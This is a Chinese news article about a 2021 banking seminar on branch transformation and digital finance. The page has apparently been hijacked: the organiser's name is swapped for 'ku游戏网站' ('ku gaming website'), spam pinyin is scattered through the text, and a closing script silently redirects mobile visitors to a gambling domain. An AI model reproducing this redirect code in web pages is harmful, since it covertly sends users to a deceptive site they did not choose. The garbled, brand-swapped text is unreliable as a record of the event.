ku游戏网站

今天是2021年7月31日 星期六,欢迎光临本站 

ku游戏网站新闻

第三十六届网点转型研讨会(苏州站)精彩观点集锦

文字:[大][中][小] 手机页面二维码 2021/6/8     浏览次数:    

2021年5月27-28日,第(di)三(san)十六届网(wang)点转(zhuan)型与(yu)提升(sheng)渠道(dao)竞争力银行业高级研讨会(hui)在视(shi)源股份(fen)有(you)(you)限公司(si)苏州产业园区(qu)成功举行。本次活动由上海(hai)ku游戏网站管(guan)理(li)咨(zi)询(xun)有(you)(you)限公司(si)主(zhu)办,视(shi)源股份(fen)有(you)(you)限公司(si)承办。

本次研讨会共有八位业内资深专家分享了从银行网点转型、银发掘金、构建网点数字化生态圈,到少儿金融的发展机遇等内容,与会嘉宾反应积极。
27日上午开场,上海ku游戏网站管理咨询(xun)有限公司总经理高(gao)钧(jun)分(fen)享(xiang)了“数(shu)字时代银行网点(dian)转(zhuan)型的(de)新趋(qu)势(shi)”专题。高(gao)钧(jun)先生分(fen)享(xiang)了国内外银行网点(dian)发展的(de)新趋(qu)势(shi),又(you)从“道(dao)”和(he)“术”的(de)角度分(fen)享(xiang)了网点(dian)线上和(he)线下关系、硬转(zhuan)型、软转(zhuan)型、数(shu)字化转(zhuan)型等方面的(de)内容。


高钧先生提出了未来银(yin)行网(wang)点“两去两中心”的(de)观点(dian)(dian),即:网(wang)点(dian)(dian)将“去现金化、去交易化”,会成为“咨询服务中心、生态(tai)圈中心”。网(wang)点(dian)(dian)将“重(zhong)建客(ke)户(hu)关系”,以(yi)人为中心,变成链接客(ke)户(hu)的(de)节点(dian)(dian),不断提升客(ke)户(hu)体验,增强客(ke)户(hu)忠诚度。
高钧先生认为(wei)特色(se)网(wang)点的(de)(de)建设的(de)(de)实质是(shi)为(wei)了对目(mu)标客群进行(xing)更精细化的(de)(de)经营,不能“重建设、轻运(yun)营”,指出了特色网点建设需要(yao)注意六(liu)个(ge)方面:一(yi)把手工程(cheng)、品牌化(hua)运营(ying)、线上线下(xia)结(jie)合(he)、以点带面、金融(rong)+非金融、生态链打造,并介绍了一些银行在这方面积极尝试的案例。


智(zhi)能(neng)化(hua)是未来银行(xing)网点(dian)发展的必然趋势(shi),但不能(neng)为了智(zhi)能(neng)化(hua)而智(zhi)能(neng)化(hua)。网点智能化改造的(de)目(mu)的(de)是为了给客(ke)户(hu)带(dai)来良好的(de)体验,并(bing)不是简单地(di)用(yong)机(ji)器模式代(dai)替人(ren)工模式,需要人(ren)机(ji)协作(zuo)并(bing)通过合(he)理的(de)流程为客(ke)户(hu)提供良好的(de)服务。
高钧(jun)先生(sheng)认为(wei)(wei)老(lao)龄(ling)化将(jiang)成(cheng)为(wei)(wei)长(zhang)期的(de)人(ren)口基本国情,60后的(de)“新(xin)老(lao)人(ren)”是一个“白金(jin)世代(dai),将(jiang)给(ji)中老(lao)年消费、文娱、健康(kang)、金(jin)融(rong)等相(xiang)关的(de)行业带(dai)(dai)来来爆发式的(de)增长(zhang)。“老(lao)年金(jin)融(rong)”给(ji)银(yin)行带(dai)(dai)来了新(xin)的(de)机遇。高钧(jun)先生(sheng)指出了老(lao)年人(ren)的(de)6大(da)类金(jin)融(rong)需(xu)求以(yi)及老(lao)年人(ren)对银(yin)行金(jin)融(rong)服务的(de)特殊需(xu)求。
ku游戏网站咨询的重点(dian)服务(wu)内容包括:网(wang)点布(bu)局(ju)规划和(he)选址、特色网(wang)点设计和(he)打造、低(di)效网(wang)点诊断和(he)治理、客户精(jing)细(xi)化(hua)经营提(ti)升、线上线下人员转型培(pei)训等(deng)。此(ci)外(wai),ku游戏网站咨询希(xi)望接下来在“老年金融”的特(te)色网点和生(sheng)态圈打造等(deng)方(fang)面(mian)和银行共同合作(zuo),积极进行“银发掘金”。


广(guang)州视源股(gu)份(fen)副总裁商学铭先生(sheng)在本(ben)次研(yan)讨会上发表了《科技新品(pin)类构(gou)建网点(dian)数字(zi)化(hua)生(sheng)态圈(quan)及(ji)智慧(hui)场景金融》的(de)专题演(yan)讲。演(yan)讲首先介绍了视源股(gu)份(fen)的(de)发展历程及(ji)业务(wu)布局,特别是近几年投资或孵化(hua)的(de)华蒙星少儿篮球、视源(yuan)健(jian)康、斐(fei)郡衣(yi)物护理机、源(yuan)动(dong)智慧健(jian)身装备(bei)等,展示了斐郡衣(yi)物护理(li)机在网点及私人银行领域的(de)权(quan)益(yi)服务(wu)案(an)例,以及华蒙星少儿篮球的(de)巨大流量。 


本次研(yan)讨会(hui)专门(men)安(an)排在位于太(tai)湖风景(jing)区的视源股份(fen)苏(su)州产业园召开,现(xian)场展(zhan)示了“智能投资者教育一(yi)体(ti)机”、“视频(pin)银行”等一(yi)系列产品。与会(hui)嘉(jia)宾在会(hui)议期间充分体(ti)验了视源股份(fen)的各种高科(ke)技产品,考察了公(gong)司展(zhan)厅和(he)视源健康体(ti)检中心,探讨了网点转(zhuan)型中的异业合(he)作新思路


产品(pin)由视(shi)源股份与(yu)追一(yi)科技(ji)联合(he)开(kai)发,集(ji)合(he)了视(shi)觉、语(yu)义、语(yu)音等多(duo)种人工智能(neng)技(ji)术的多(duo)模(mo)态交互(hu)技(ji)术,给用户提供更真实自然、全(quan)面准确的投(tou)资者(zhe)教(jiao)育(yu)体(ti)验,更加(jia)人性(xing)化(hua),更能(neng)满足网点的适老化(hua)改造需求。结合(he)MAXHUB交互(hu)智能(neng)大屏,除(chu)了能(neng)自然流畅地回答各种投(tou)教(jiao)问题,还能(neng)实时(shi)呈(cheng)现丰(feng)富的多(duo)媒体(ti)面板(ban),支(zhi)持投(tou)资者(zhe)教(jiao)育(yu)的宣传、查(cha)询及办理等,支(zhi)持4K超高清画(hua)面显示。


视源股份副总裁商学铭先(xian)生在演讲(jiang)中(zhong),结(jie)合(he)实际案例,展(zhan)示了MAXHUB智慧(hui)协同(tong)平(ping)台在银行营销领(ling)域的场景化创(chuang)新实践。
通过MAXHUB智慧协(xie)同平台,可(ke)帮助银行(xing)构建网点数字化(hua)生态(tai)圈,将权益服务、视频银行(xing)、场景营销(xiao)、泛金融服务、晨(chen)夕会及内部培(pei)训等纳入这一生态(tai)圈。
结合当前(qian)场景金融热点,还重点介绍(shao)了MAXHUB智慧食(shi)堂解决方案,通过MAXHUB团餐机产(chan)品及(ji)刷脸支(zhi)付技术(shu),助力银行提升手机银行的开通率(lv)和动(dong)帐率(lv),实现2B2C的批量获客(ke)效果。 
在(zai)接下来的(de)演讲中,胡庆能先(xian)生以“线下开放银(yin)行”为题,介(jie)绍了互(hu)联(lian)(lian)(lian)网(wang)加(jia)网(wang)点有机结合后的(de)新玩,互(hu)联(lian)(lian)(lian)网(wang)与线下网(wang)点结合,增(zeng)强客户的(de)全渠道体(ti)验感(gan)受。胡先(xian)生拥有近二十(shi)年为银(yin)行、投资等(deng)金融客户提供互(hu)联(lian)(lian)(lian)网(wang)+银(yin)行零售转(zhuan)型咨询,数字化技术转(zhuan)型,银(yin)行个人(ren)业务规划(hua)等(deng)丰(feng)富的(de)经验。



胡庆能先(xian)生指出,银行网点的生存一直都围绕着“流量(liang)”两个字(zi)在(zai)做挣扎, 似乎线上线下流量(liang)难(nan)以并存, 但(dan)当(dang)跳(tiao)脱互联网赋予(yu)“流(liu)量”的假设后(hou), 反(fan)而更能看到网点这几年(nian)模糊的、无法(fa)取(qu)代的优(you)势
本场分享更(geng)多是(shi)如何(he)基于(yu)银行(xing)(xing)网点的现有(you)优势看(kan)再(zai)远(yuan)的一步, 线下网点结合(he)线上的思维(wei)方式找出(chu)更(geng)准(zhun)确定义新世(shi)代客户的标准(zhun)、才能逐渐孵化出(chu)属于(yu)银行(xing)(xing)网点“路转粉”的核(he)心竞争力(li)。


在第二天会(hui)议的(de)开始,ku游戏网站咨询公(gong)司(si)的(de)执(zhi)行合伙人王自生先生分(fen)享了主题为(wei)“掘金期缴、三方(fang)共赢”的(de)思维及(ji)实(shi)践。他阐述了其(qi)自创的(de)心法(fa)(fa)、兵法(fa)(fa)、剑法(fa)(fa)思想,认(ren)为(wei)不同的(de)模式会(hui)产生不同的(de)结果(guo),金融行业的(de)客(ke)户要(yao)进(jin)行学习模式的(de)创新来获(huo)得成功的(de)结果(guo)。学习模式的(de)创新(xin)包(bao)括训战模式和场(chang)景化(hua)行(xing)(xing)动(dong)学习方案(an)的(de)创新(xin)。通过行(xing)(xing)动(dong)学习模式赋能员工满足银行(xing)(xing),客(ke)户,员工三方共赢的(de)需求。最后(hou),王先生以某银行南充分行生态(tai)银行行动项(xiang)目(mu),参与项(xiang)目(mu)网点为36个,项(xiang)目(mu)周(zhou)期1周(zhou)时(shi)间,期缴(jiao)保(bao)费(fei)五年期缴(jiao)累计营销共计1236万元。


接着(zhe),ku游戏网站咨询执(zhi)行(xing)(xing)(xing)合伙人、上海(hai)融曦咨询&赋(fu)能(neng)(neng)科技创(chuang)始(shi)人陈会勇先生(sheng),结(jie)合自身(shen)多年的银(yin)(yin)行(xing)(xing)(xing)、跨界从(cong)业经(jing)(jing)验(yan),及丰富的银(yin)(yin)行(xing)(xing)(xing)“转(zhuan)型(xing)战略、数(shu)字化(hua)经(jing)(jing)营、组织变革、人才(cai)激励(li)、客(ke)户经(jing)(jing)营”等研究、咨询和培训辅导经(jing)(jing)验(yan),开(kai)门(men)见山地(di)提出未来银(yin)(yin)行(xing)(xing)(xing)的转(zhuan)型(xing)趋势(shi)是“综(zong)合化(hua)、特色化(hua)、轻型(xing)化(hua)、平台化(hua)、数(shu)字化(hua)、智(zhi)能(neng)(neng)化(hua)”,提出银(yin)(yin)行(xing)(xing)(xing)未来的核心价(jia)值(zhi)在(zai)(zai)于如何发挥“资本+智(zhi)力+资源+科技”优(you)势(shi),以(yi)新金(jin)融服务(wu)理(li)念和模式(shi),在(zai)(zai)赋(fu)能(neng)(neng)非金(jin)融服务(wu)场(chang)景,纾解B-C-G端痛点难点堵点的同时,培育和创(chuang)造各种新金(jin)融服务(wu)商机;同(tong)时指(zhi)出,未来银行(xing)线上将成为链接“客户、生态、服务”的(de)开(kai)放平台;线下将(jiang)成(cheng)为融(rong)合“基(ji)于客户体验(yan)的金融(rong)服(fu)务+基(ji)于客户需求(qiu)的非金融(rong)服(fu)务”的场景平台,并(bing)通过工行(xing)、建(jian)行(xing)、招行(xing)等数字化转型案例分享,总(zong)结了国内银行(xing)数转型成(cheng)败与否的九大要诀(jue):1、高(gao)层(ceng)推动、至(zhi)上(shang)而下;2、规划(hua)先(xian)行、久久为攻;3、敏捷(jie)组(zu)织、创新文化;4、数字人(ren)才、量(liang)质(zhi)兼(jian)备(bei);5、架构思维、“业技”融合;6、场景切入、差异定(ding)位;7、科(ke)技驱动、中台模(mo)式;8、开放银行、赋(fu)能生态;9、客户体验(yan)、价值管(guan)理。

同(tong)时,对银(yin)(yin)(yin)(yin)行(xing)(xing)(xing)组(zu)(zu)织(zhi)(zhi)变(bian)革层面(mian),提出了从“部门银(yin)(yin)(yin)(yin)行(xing)(xing)(xing)”、“流(liu)程银(yin)(yin)(yin)(yin)行(xing)(xing)(xing)”到“敏(min)(min)捷(jie)(jie)银(yin)(yin)(yin)(yin)行(xing)(xing)(xing)”的三(san)大演变(bian)历程,并总结了各(ge)阶(jie)段多(duo)种代表性组(zu)(zu)织(zhi)(zhi)模式,并重点(dian)分享了银(yin)(yin)(yin)(yin)行(xing)(xing)(xing)敏(min)(min)捷(jie)(jie)组(zu)(zu)织(zhi)(zhi)在“敏(min)(min)捷(jie)(jie)开发”、“业(ye)务协同(tong)”和“生态共建(jian)(jian)”三(san)大领域,涉及(ji)总分支、前中(zhong)后台等多(duo)个(ge)场景(jing)的应(ying)用或项目案例(li)及(ji)背景(jing)逻辑(ji)。其中(zhong),敏(min)(min)捷(jie)(jie)开发对应(ying)的数字(zi)化工厂(chang)、敏(min)(min)捷(jie)(jie)部落/小(xiao)组(zu)(zu)、敏(min)(min)捷(jie)(jie)开发项目管理、敏(min)(min)捷(jie)(jie)教练/敏(min)(min)捷(jie)(jie)先锋、Devops平(ping)台以(yi)及(ji)配套的敏(min)(min)捷(jie)(jie)社(she)区、敏(min)(min)捷(jie)(jie)大学(xue)等敏(min)(min)捷(jie)(jie)学(xue)习型组(zu)(zu)织(zhi)(zhi)和敏(min)(min)捷(jie)(jie)文化建(jian)(jian)设(she)等方面(mian),分享了建(jian)(jian)设(she)银(yin)(yin)(yin)(yin)行(xing)(xing)(xing)、中(zhong)原(yuan)银(yin)(yin)(yin)(yin)行(xing)(xing)(xing)、长沙银(yin)(yin)(yin)(yin)行(xing)(xing)(xing)等多(duo)家行(xing)(xing)(xing)大量(liang)的创(chuang)新实践。
最后,陈先(xian)生指出数字(zi)化(hua)时代,银(yin)行人才结构将(jiang)向“金融+科技(ji)+生(sheng)态”人才多元并存(cun)演变,并必将面临多元文化冲突和融(rong)合问题,并就未来新型数(shu)字(zi)人才(cai)和传统金(jin)融(rong)人才(cai)平衡问题,提出(chu)了多种切实可行的对策(ce)建(jian)议。他还大胆提出(chu)未来需(xu)要(yao)用(yong)互(hu)联网思(si)维(wei)和模拟(ni)(ni)投(tou)资思(si)维(wei),加强对数(shu)字(zi)科技人才(cai)的激励(li)和培养管(guan)理,选(xuan)择性(xing)介绍了“创新基金(jin)”、“虚拟(ni)(ni)股转实股”、“领投(tou)+跟投(tou)”、“敏捷成(cheng)熟度考核/评级”、数(shu)据BP、客户价值积分等操作思(si)路和要(yao)点。
此外,陈先(xian)生还简单介绍(shao)了其研发(fa)的中小(xiao)银行数字化转(zhuan)型&创新顶(ding)层(ceng)设计(ji)、敏捷组织场景(jing)设计(ji)、数字化人(ren)才培(pei)养与(yu)激励解决方案(an)内容要点。


第二天下(xia)午(wu),专(zhuan)伟绩(ji)腾总经理及首(shou)席(xi)顾(gu)问陈(chen)(chen)德金(jin)分享了OKR-战略(lve)落地与创新生产力(li)的(de)(de)内容。陈(chen)(chen)总曾(ceng)在英特尔大学任亚洲区员工发(fa)(fa)展(zhan)经理。他(ta)带领的(de)(de)中国、印(yin)度、日本、马(ma)来西亚、越南、印(yin)度等六个国家(jia)跨(kua)文化团队负责(ze)亚洲区超过2万5千名员工的(de)(de)学习发(fa)(fa)展(zhan)规划。
陈(chen)总回(hui)顾了OKR的(de)(de)(de)发展历史,分享了OKR体(ti)系目(mu)标设(she)定的(de)(de)(de)先后顺序、角(jiao)色与分工(gong)、OKR与业务类型的(de)(de)(de)关联度(du)、谷(gu)歌公司(si)的(de)(de)(de)案例(li)、OKR对团(tuan)队(dui)领导的(de)(de)(de)益处、OKR的(de)(de)(de)成功要素及OKR如(ru)何帮助创造绩效。


紧接着,零售金(jin)融资(zi)深专家,周波老师(shi)开始(shi)了(le)“零售银行数字化裂变与业绩暴(bao)增”的演讲。周老师(shi)指出(chu),数(shu)字技术对传统模式在全流程、全空域、全场景、全价值、全分析等方面进(jin)行颠覆。指出个人(ren)银(yin)(yin)(yin)行(xing)全(quan)业务场景的(de)数(shu)字化建(jian)设已成为多(duo)数(shu)银(yin)(yin)(yin)行(xing),特(te)别是中小银(yin)(yin)(yin)行(xing)面(mian)临的(de)新常(chang)态;设立(li)独立(li)的(de)金融(rong)科技公(gong)司(si)是银(yin)(yin)(yin)行(xing)优(you)化经营模(mo)式(shi),走向开放(fang)银(yin)(yin)(yin)行(xing)的(de)绝佳选择;优(you)化客(ke)户旅(lv)程(cheng)并(bing)提升旅(lv)程(cheng)管理能力是银(yin)(yin)(yin)行(xing)胜出的(de)最(zui)短路径;银(yin)(yin)(yin)行(xing)在关(guan)注客(ke)户个人(ren)数(shu)据安全(quan)的(de)同时,会自然(ran)的(de)考虑为客(ke)户带来(lai)更多(duo)的(de)金融(rong)福祉(zhi)。

最后,毕业于(yu)华南(nan)理工(gong)大(da)学的玩具专业硕士邓超先生分享(xiang)了“移动(dong)支(zhi)付(fu)时代少儿(er)金融的发展机(ji)遇”。邓总(zong)分享(xiang)了打造以儿童金融账户为基础,连接老(lao)人账户,吸纳年轻家长客群,实(shi)现全家庭画像及对应(ying)的(de)家庭资产长期且有效的(de)固化在银行,连结行外场景(jing),服务市(shi)民(min),打(da)造市(shi)民(min)日常的(de)主办银行的(de)业务逻辑(ji)。

返回上一步
打印此页
13818970338
浏览(lan)手机站
微信(xin)二(er)维(wei)码(ma)
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();